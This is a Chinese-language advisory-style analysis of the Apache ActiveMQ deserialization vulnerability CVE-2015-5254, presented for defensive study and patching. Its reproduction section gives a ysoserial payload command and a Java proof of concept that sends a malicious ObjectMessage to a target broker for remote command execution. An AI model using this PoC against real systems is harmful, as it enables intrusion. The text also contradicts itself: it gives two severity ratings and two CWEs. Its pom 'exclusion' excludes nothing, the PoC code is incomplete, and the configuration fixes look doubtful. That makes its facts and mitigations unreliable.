一、漏洞简介

1.1 漏洞背景

2015年,Apache ActiveMQ 被发现存在 Java 反序列化漏洞。这是继 Apache Commons Collections 反序列化漏洞(CVE-2015-4852)公开后,众多受影响的 Java 应用程序之一。该漏洞利用了 Java 原生序列化机制的固有问题,允许攻击者通过发送恶意构造的 JMS ObjectMessage 实现远程代码执行。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2015-5254
危害等级 CRITICAL / 9.8
漏洞类型 反序列化漏洞
披露时间 2016-01-08
影响组件 Apache ActiveMQ
属性 描述
CVE编号 CVE-2015-5254
危害等级 重要 (Important)
CVSS评分 8.1 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
漏洞类型 不安全的反序列化 (CWE-502)
影响组件 JMS ObjectMessage、Web Console、STOMP 协议转换

该漏洞影响 ActiveMQ 对 JMS ObjectMessage 的处理机制。由于 ObjectMessage 依赖 Java 序列化进行消息负载的编组/解组,攻击者可以发送包含恶意序列化对象的消息,当 broker 或消费者调用 ObjectMessage.getObject() 方法时触发反序列化攻击。

<hr />

补充核验信息:公开时间:2016-01-08;NVD 评分:9.8(CRITICAL);CWE:CWE-20。

二、影响范围

2.1 受影响的版本

  • Apache ActiveMQ 5.0.0 ~ 5.12.1

2.2 不受影响的版本

  • Apache ActiveMQ >= 5.13.0

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. ActiveMQ broker 可访问(需要认证时需要有效凭据)
  2. 以下任一场景:
  3. 通过 Web Console 处理 ObjectMessage
  4. STOMP 协议进行 ObjectMessage 转换
  5. 消费者调用 ObjectMessage.getObject() 方法
  6. 类路径中存在可利用的 Gadget 链
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Java 反序列化漏洞原理

Java 序列化机制允许将对象转换为字节流以便存储或传输,反序列化则是逆向过程。当应用对不可信数据进行反序列化时,攻击者可以注入恶意构造的序列化对象,利用类路径中的 "Gadget 链"(如 Apache Commons Collections、Spring 等)执行任意代码。

CVE-2015-5254 的攻击路径

  1. 攻击者发送恶意 ObjectMessage
  2. 构造包含恶意序列化对象的 JMS 消息
  3. 通过生产者发送到 ActiveMQ broker

  4. Broker 端反序列化

  5. Web Console 处理消息时触发反序列化
  6. STOMP 协议转换 ObjectMessage 时触发反序列化

  7. Gadget 链执行

  8. 利用 Commons Collections 的 Transformer 链
  9. 执行任意系统命令
攻击者  发送恶意 ObjectMessage  ActiveMQ Broker
                                                                    反序列化  触发 Gadget                                                                     Runtime.exec()  执行任意命令

3.2 源码层面的根因分析(结合源码与补丁对比)

问题代码(5.12.1 版本):

// ObjectMessage.getObject() 实现
public Serializable getObject() throws JMSException {
    if (object == null && bytes != null) {
        try {
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            // 危险:直接使用 ObjectInputStream 反序列化不可信数据
            ObjectInputStream ois = new ObjectInputStream(bais);
            object = (Serializable) ois.readObject();
            ois.close();
        } catch (Exception e) {
            throw JMSExceptionSupport.create(e);
        }
    }
    return object;
}

补丁修复方案(5.13.0 版本):

  1. 引入可信包白名单机制
  2. 默认禁止所有包的反序列化
  3. 用户需显式配置信任的包
// 修复后的代码
public Serializable getObject() throws JMSException {
    if (object == null && bytes != null) {
        try {
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            // 使用安全包装的 ObjectInputStream
            ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(
                bais,
                this.trustedPackages  // 可信包列表
            );
            object = (Serializable) ois.readObject();
            ois.close();
        } catch (Exception e) {
            throw JMSExceptionSupport.create(e);
        }
    }
    return object;
}

配置可信包(在 conf/activemq.xml 中):

<plugins>
    <trustedPackages>
        <trustedPackage>com.yourcompany.jms</trustedPackage>
        <trustedPackage>java.util</trustedPackage>
    </trustedPackages>
</plugins>
<hr />

四、漏洞复现(可选)

4.1 环境搭建

# 下载受影响版本
wget https://archive.apache.org/dist/activemq/5.11.1/apache-activemq-5.11.1-bin.tar.gz
tar -xzf apache-activemq-5.11.1-bin.tar.gz
cd apache-activemq-5.11.1
./bin/activemq start

4.2 PoC 演示与测试过程

使用 ysoserial 生成 Payload

# 生成 Commons Collections Gadget 链
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.ser

Java PoC 代码

import javax.jms.*;
import org.apache.activemq.ActiveMQConnectionFactory;

public class CVE_2015_5254_PoC {
    public static void main(String[] args) throws Exception {
        String brokerURL = "tcp://target:61616";
        String queueName = "exploit";

        // 读取恶意序列化数据
        byte[] payload = Files.readAllBytes(Paths.get("payload.ser"));

        // 连接 ActiveMQ
        ConnectionFactory factory = new ActiveMQConnectionFactory(brokerURL);
        Connection connection = factory.createConnection();
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        Queue queue = session.createQueue(queueName);

        // 创建 ObjectMessage
        ObjectMessage message = session.createObjectMessage();
        // 通过反射设置 bytes 字段(绕过序列化检查)
        Field bytesField = message.getClass().getDeclaredField("bytes");
        bytesField.setAccessible(true);
        bytesField.set(message, payload);

        // 发送消息
        MessageProducer producer = session.createProducer(queue);
        producer.send(message);

        System.out.println("[+] Malicious ObjectMessage sent!");

        connection.close();
    }
}

触发反序列化

  1. 访问 Web Console:http://target:8161/admin/queues.jsp
  2. 点击发送的消息
  3. 查看消息详情时触发反序列化
  4. 检查命令执行结果:ls /tmp/
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到安全版本: - Apache ActiveMQ >= 5.13.0

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案1:配置可信包白名单

conf/activemq.xml 中添加:

<plugins>
    <!-- 仅信任必要的包 -->
    <trustedPackages>
        <trustedPackage>java.lang</trustedPackage>
        <trustedPackage>java.util</trustedPackage>
        <trustedPackage>com.yourcompany.dto</trustedPackage>
    </trustedPackages>
</plugins>

方案2:禁用 ObjectMessage

如果不使用 ObjectMessage,可以通过配置禁用:

<systemProperties>
    <systemProperty name="org.apache.activemq.SERIALIZABLE_PACKAGES" value=""/>
</systemProperties>

方案3:使用 TextMessage 替代

将对象序列化为 JSON/XML 字符串,使用 TextMessage 传输:

// 安全的替代方案
String jsonPayload = objectMapper.writeValueAsString(myObject);
TextMessage message = session.createTextMessage(jsonPayload);

方案4:移除危险依赖

从类路径中移除 Commons Collections 等包含危险 Gadget 链的库:

<!-- pom.xml 中排除 -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>4.4</version>  <!-- 使用安全版本 -->
</dependency>
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料